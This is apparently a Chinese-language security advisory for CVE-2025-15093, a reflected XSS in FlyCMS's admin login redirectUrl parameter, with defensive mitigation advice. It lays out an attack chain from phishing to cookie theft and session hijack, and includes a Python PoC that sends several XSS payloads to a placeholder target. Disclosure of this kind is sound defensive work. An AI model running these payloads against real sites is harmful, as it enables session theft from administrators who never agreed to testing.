IPBUF安全漏洞报告
English
CVE-2025-15093 CVSS 4.3 中危

CVE-2025-15093 sunkaifei FlyCMS Admin Login redirectUrl参数XSS漏洞

披露日期: 2025-12-26

漏洞信息

漏洞编号
CVE-2025-15093
漏洞类型
XSS跨站脚本攻击
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
sunkaifei FlyCMS

相关标签

XSS跨站脚本攻击FlyCMSCVE-2025-15093Admin LoginIndexAdminController反射型XSSJavaWeb应用漏洞

漏洞概述

CVE-2025-15093是影响sunkaifei FlyCMS的一个跨站脚本(XSS)安全漏洞。该漏洞存在于管理后台登录功能中,具体位于IndexAdminController.java文件的redirectUrl参数处理逻辑。由于程序未能对用户输入的redirectUrl参数进行充分的输入验证和输出编码,攻击者可以通过构造恶意脚本代码并嵌入到重定向URL参数中,当其他用户访问包含恶意脚本的链接时,浏览器将执行这些恶意代码。攻击者可以利用此漏洞窃取用户会话cookie、劫持用户账号、进行钓鱼攻击或传播恶意软件。由于该漏洞需要用户交互才能触发,攻击复杂度较低,但影响范围主要针对使用FlyCMS管理后台的用户。漏洞已于2025年12月26日披露,漏洞利用代码已公开,厂商尚未做出响应。

技术细节

该XSS漏洞位于FlyCMS的管理后台登录模块IndexAdminController.java中。漏洞的根本原因在于程序在处理redirectUrl参数时,直接将用户可控的输入用于生成重定向响应,而没有对特殊字符进行HTML实体编码或输入验证。攻击者可以通过在redirectUrl参数中注入JavaScript代码(如<script>alert(document.cookie)</script>或事件处理器如onerror、onclick等)来触发XSS。当管理员或用户登录后被重定向到攻击者控制的URL时,恶意脚本将在受害者的浏览器上下文中执行。由于这是存储型或反射型XSS(取决于重定向机制的具体实现),攻击者可以获取用户的认证令牌、会话ID或其他敏感信息。攻击向量的CVSS向量为AV:N/AC:L/PR:N/UI:R,表明可以通过网络发起,攻击复杂度低,无需认证,但需要用户交互(如点击恶意链接)。

攻击链分析

STEP 1
步骤1
信息收集:攻击者识别目标网站使用FlyCMS,并定位到管理后台登录页面/admin/indexAdmin/login
STEP 2
步骤2
构造恶意链接:攻击者构造包含XSS payload的redirectUrl参数,如redirectUrl=<script>alert(document.cookie)</script>
STEP 3
步骤3
诱导用户访问:攻击者通过钓鱼邮件、社交工程或其他方式诱导目标用户(管理员)点击恶意链接
STEP 4
步骤4
触发XSS执行:用户登录后被重定向到包含恶意脚本的页面,浏览器执行注入的JavaScript代码
STEP 5
步骤5
窃取敏感信息:恶意脚本读取用户cookie、会话令牌等敏感信息并发送给攻击者控制的服务器
STEP 6
步骤6
会话劫持:攻击者利用窃取的认证信息劫持用户会话,获得管理后台访问权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-15093 PoC - FlyCMS XSS via redirectUrl parameter # Target: FlyCMS Admin Login target_url = "http://target.com/FlyCMS/admin/indexAdmin/login" # XSS payload in redirectUrl parameter xss_payloads = [ "javascript:alert(document.cookie)", "<script>alert(document.domain)</script>", "<img src=x onerror=alert(document.cookie)>", "\"onclick=\"alert(document.cookie)", ] for payload in xss_payloads: # Construct malicious URL with XSS payload params = { "redirectUrl": payload } try: response = requests.get(target_url, params=params, timeout=10) print(f"[*] Testing payload: {payload}") print(f"[*] Response status: {response.status_code}") # Check if payload is reflected in response if payload in response.text: print(f"[!] VULNERABLE - Payload reflected in response") else: print(f"[*] Payload not directly reflected") except requests.RequestException as e: print(f"[-] Request failed: {e}") print("\n[*] Manual verification recommended:") print(f"[*] Visit: {target_url}?redirectUrl=<script>alert(document.cookie)</script>")

影响范围

FlyCMS up to abbaa5a8daefb146ad4d61027035026b052cb414

防御指南

临时缓解措施
由于厂商尚未响应并发布修复补丁,建议暂时采取以下措施:1)禁用或限制管理后台的重定向功能;2)在Web应用层实施输入过滤和白名单验证;3)部署WAF规则拦截包含XSS特征的请求;4)加强对管理员账号的安全培训,提高对钓鱼攻击的警惕性;5)监控相关GitHub仓库和安全公告,等待官方安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表